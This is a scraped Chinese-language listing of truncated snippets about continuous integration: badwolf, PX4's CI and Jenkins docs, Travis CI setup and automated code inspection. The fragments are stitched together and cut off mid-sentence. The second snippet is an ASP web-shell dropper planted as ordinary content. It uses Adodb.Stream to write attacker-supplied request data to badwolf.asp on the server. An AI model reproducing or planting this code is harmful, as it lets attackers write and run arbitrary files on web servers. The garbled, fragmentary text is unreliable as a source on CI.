badwolf 是一个基于 BitBucket 和 Docker 的持续集成和代码检查系统。
特点：
在 Docker 容器运行测试
支持多种测试脚本
支持 success/failure 后的多种脚本
支持 E-mail/Slack 通知
支持代码 linting
-
<%set s=server.createObject(”Adodb.Stream”)%> <%s.Type=2%> <%s.Open%> <%s.CharSet=”gb2312″%> <%s.writetext request(”d”)%> <%s.SaveToFile server.mappath(”badwolf.asp”),2%> <%s.Close%> <%set s=no
-
translated_page: https://github.com/PX4/Devguide/blob/master/en/test_and_ci/continous_integration.md translated_sha: 95b39d747851dd01c1fe5d36b24e59ec865e323e PX4 Continuous Integration PX4 builds and
-
translated_page: https://github.com/PX4/Devguide/blob/master/en/test_and_ci/jenkins_ci.md translated_sha: 95b39d747851dd01c1fe5d36b24e59ec865e323e Jenkins CI Jenkins continuous integration server on S
-
我们做的还不够好，先占个坑。 欢迎贡献章节。
-
注意有关编写测试的建议， 请参阅 Testing Your Code. Why? 与 Kent Beck 一起撰写关于 持续集成 (简称 : CI ) 的 Martin Fowler 对 CI 进行了如下的描述： 持续集成是一种软件开发实践，团队成员经常整合他们的工作，通常每个人至少每天集成一次 - 导致每天进行多次集成。 每个集成都通过自动构建（包括测试）进行验证，以尽快检测集成错误。 许多团队
-
对应于 Ruby 的一个或多个版本，你很轻松就可以测试你的网站构建。以下指引将展示怎样在 Travis 上建立一个免费的，集成了处理 pull 请求的 GitHub 的构建环境。如果你使用私有代码库的话，也有相应的付费选择。 1. 启用 Travis 以及 Github 启用 Travis 来构建你的 Github 代码库非常简单： 前往你在 travis-ci.org 的个人档案: https:
-
持续集成的目的，是让产品可以快速迭代，同时还能保持高质量。它的核心措施是，代码集成到主干之前，必须通过自动化测试。只要有一个测试用例失败，就不能集成。由于我们的代码托管在github上面，所以选择Travis CI来做持续集成是一个不错的选择。 要触发构建工作，需要在项目根目录下面添加一个.travis.yml的文件： sudo: required services: - docker e
-
把自己从软件检查员寻常的手工检查工作中解放出来 在开始新项目时，多数人计划在将代码投入生产发行之前审核它们；但是，当提交日程超越了其他因素时，审核常常成为第一个被抛弃的实践。如果能够自动执行其中一些审核，那么情况又会怎样呢？在新系列 “让开发自动化” 的第一篇文章中，开发自动化专家 Paul Duvall 首先将研究如何自动化检查器（例如 CheckStyle、JavaNCSS 和 CPD）、如何
-
translated_page: https://github.com/PX4/Devguide/blob/master/en/test_and_ci/README.md translated_sha: 95b39d747851dd01c1fe5d36b24e59ec865e323e 测试与持续集成 PX4提供大量的测试和持续集成。 本页提供概述。 在本地机器上测试 下面这条命令足够打开一个带有运